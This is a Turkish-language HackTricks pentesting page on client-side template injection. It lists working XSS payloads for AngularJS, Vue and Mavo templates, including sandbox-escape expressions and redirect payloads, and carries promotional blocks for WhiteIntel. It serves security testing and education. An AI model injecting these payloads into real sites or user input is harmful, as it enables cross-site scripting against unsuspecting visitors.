hacktricks/pentesting-web/client-side-template-injection-csti.md

8.3 KiB
Raw Blame History

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

WhiteIntel

WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}


Özet

Bu, sunucu tarafı şablon enjeksiyonu gibi ancak istemci tarafında gerçekleşir. SSTI, uzak sunucuda kod yürütmenize izin verirken, CSTI, kurbanın tarayıcısında keyfi JavaScript kodunu yürütmenize izin verebilir.

Bu zafiyetin test edilmesi, SSTI durumunda olduğu gibi çok benzerdir, yorumlayıcı bir şablon bekler ve onu yürütür. Örneğin, {{ 7-7 }} gibi bir yük ile, uygulama savunmasız ise bir 0 göreceksiniz ve değilse, orijinali göreceksiniz: {{ 7-7 }}

AngularJS

AngularJS, HTML ile etkileşime geçen yaygın olarak kullanılan bir JavaScript çerçevesidir ve ng-app olarak bilinen direktifler aracılığıyla HTML ile etkileşime geçer. Bu direktif, AngularJS'in HTML içeriğini işlemesine izin verir ve çift süslü parantezler içinde JavaScript ifadelerinin yürütülmesini sağlar.

Kullanıcı girişinin dinamik olarak ng-app ile etiketlenmiş HTML gövdesine eklenmesi durumunda, keyfi JavaScript kodunu yürütmek mümkündür. Bu, giriş içinde AngularJS sözdizimini kullanarak başarılabilir. Aşağıda, JavaScript kodunun nasıl yürütülebileceğini gösteren örnekler bulunmaktadır:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

AngularJS'deki zafiyetin çok temel bir çevrimiçi örneğini http://jsfiddle.net/2zs2yv7o/ ve Burp Suite Academy'da bulabilirsiniz.

{% hint style="danger" %} Angular 1.6 kum havuzunu kaldırdı bu nedenle bu sürümden itibaren {{constructor.constructor('alert(1)')()}} veya <input ng-focus=$event.view.alert('XSS')> gibi bir yük çalışmalıdır. {% endhint %}

VueJS

Zafiyetli Vue uygulamasını https://vue-client-side-template-injection-example.azu.now.sh/ adresinde bulabilirsiniz.
Çalışan yük: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Ve zafiyetli örneğin kaynak kodu burada: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Bir VUE'da CSTI hakkında gerçekten iyi bir yazı https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets adresinde bulunabilir.

V3

{{_openBlock.constructor('alert(1)')()}}

Kredi: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredi: Mario Heiderich

Daha fazla VUE yüklemelerini kontrol edin https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Yük:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Daha fazla yükleme https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Kaba Kuvvet Algılama Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: